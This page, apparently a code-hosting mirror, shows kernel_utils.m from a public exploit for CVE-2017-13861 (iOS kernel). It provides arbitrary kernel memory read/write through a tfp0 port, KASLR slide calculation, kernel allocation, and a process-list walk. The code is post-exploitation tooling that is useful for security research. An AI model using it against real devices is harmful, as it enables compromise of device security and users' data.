Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2017-13861/kernel_utils.m
Views: 11777
1#import "kernel_utils.h"2#import "patchfinder64.h"34static mach_port_t tfpzero;5static uint64_t kernel_base;6static uint64_t KASLR_Slide;78#import <Foundation/Foundation.h>9#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(0)1011void init_kernel_utils(mach_port_t tfp0, uint64_t kbase) {12tfpzero = tfp0;13kernel_base = kbase;14KASLR_Slide = (uint32_t)(kernel_base - 0xFFFFFFF007004000); // slid kernel base - kernel base = kaslr slide15}1617uint64_t get_kernel_slide() {18return KASLR_Slide;19}2021uint64_t Kernel_alloc(vm_size_t size) {22mach_vm_address_t address = 0;23mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);24return address;25}2627void Kernel_free(mach_vm_address_t address, vm_size_t size) {28mach_vm_deallocate(tfpzero, address, size);29}3031int Kernel_strcmp(uint64_t kstr, const char* str) {32// XXX be safer, dont just assume you wont cause any33// page faults by this34size_t len = strlen(str) + 1;35char *local = malloc(len + 1);36local[len] = '\0';3738int ret = 1;3940if (KernelRead(kstr, local, len) == len) {41ret = strcmp(local, str);42}4344free(local);4546return ret;47}4849size_t KernelRead(uint64_t where, void *p, size_t size) {50int rv;51size_t offset = 0;52while (offset < size) {53mach_vm_size_t sz, chunk = 2048;54if (chunk > size - offset) {55chunk = size - offset;56}57rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);58if (rv || sz == 0) {59printf("[-] error on KernelRead(0x%016llx)\n", where);60break;61}62offset += sz;63}64return offset;65}6667uint32_t KernelRead_32bits(uint64_t where) {68uint32_t out;69KernelRead(where, &out, sizeof(uint32_t));70return out;71}7273uint64_t KernelRead_64bits(uint64_t where) {74uint64_t out;75KernelRead(where, &out, sizeof(uint64_t));76return out;77}7879size_t KernelWrite(uint64_t where, const void *p, size_t size) {80int rv;81size_t offset = 0;82while (offset < size) {83size_t chunk = 2048;84if (chunk > size - offset) {85chunk = size - offset;86}87rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, chunk);88if (rv) {89printf("[-] error on KernelWrite(0x%016llx)\n", where);90break;91}92offset += chunk;93}94return offset;95}9697void KernelWrite_32bits(uint64_t where, uint32_t what) {98uint32_t _what = what;99KernelWrite(where, &_what, sizeof(uint32_t));100}101102103void KernelWrite_64bits(uint64_t where, uint64_t what) {104uint64_t _what = what;105KernelWrite(where, &_what, sizeof(uint64_t));106}107108const uint64_t kernel_address_space_base = 0xffff000000000000;109void Kernel_memcpy(uint64_t dest, uint64_t src, uint32_t length) {110if (dest >= kernel_address_space_base) {111// copy to kernel:112KernelWrite(dest, (void*) src, length);113} else {114// copy from kernel115KernelRead(src, (void*)dest, length);116}117}118119uint64_t proc_of_pid(pid_t pid) {120uint64_t allproc = Find_allproc();121uint64_t proc = KernelRead_64bits(allproc), pd;122123while (proc) { //iterate over all processes till we find the one we're looking for124pd = KernelRead_32bits(proc + 0x10);125if (pd == pid) return proc;126proc = KernelRead_64bits(proc);127}128129return 0;130}131132uint64_t ZmFixAddr(uint64_t addr) {133static kmap_hdr_t zm_hdr = {0, 0, 0, 0};134135if (zm_hdr.start == 0) {136// xxx rk64(0) ?!137uint64_t zone_map = KernelRead_64bits(Find_zone_map_ref());138// hdr is at offset 0x10, mutexes at start139size_t r = KernelRead(zone_map + 0x10, &zm_hdr, sizeof(zm_hdr));140//printf("zm_range: 0x%llx - 0x%llx (read 0x%zx, exp 0x%zx)\n", zm_hdr.start, zm_hdr.end, r, sizeof(zm_hdr));141142if (r != sizeof(zm_hdr) || zm_hdr.start == 0 || zm_hdr.end == 0) {143printf("[-] KernelRead of zone_map failed!\n");144return 1;145}146147if (zm_hdr.end - zm_hdr.start > 0x100000000) {148printf("[-] zone_map is too big, sorry.\n");149return 1;150}151}152153uint64_t zm_tmp = (zm_hdr.start & 0xffffffff00000000) | ((addr) & 0xffffffff);154155return zm_tmp < zm_hdr.start ? zm_tmp + 0x100000000 : zm_tmp;156}157158159160161162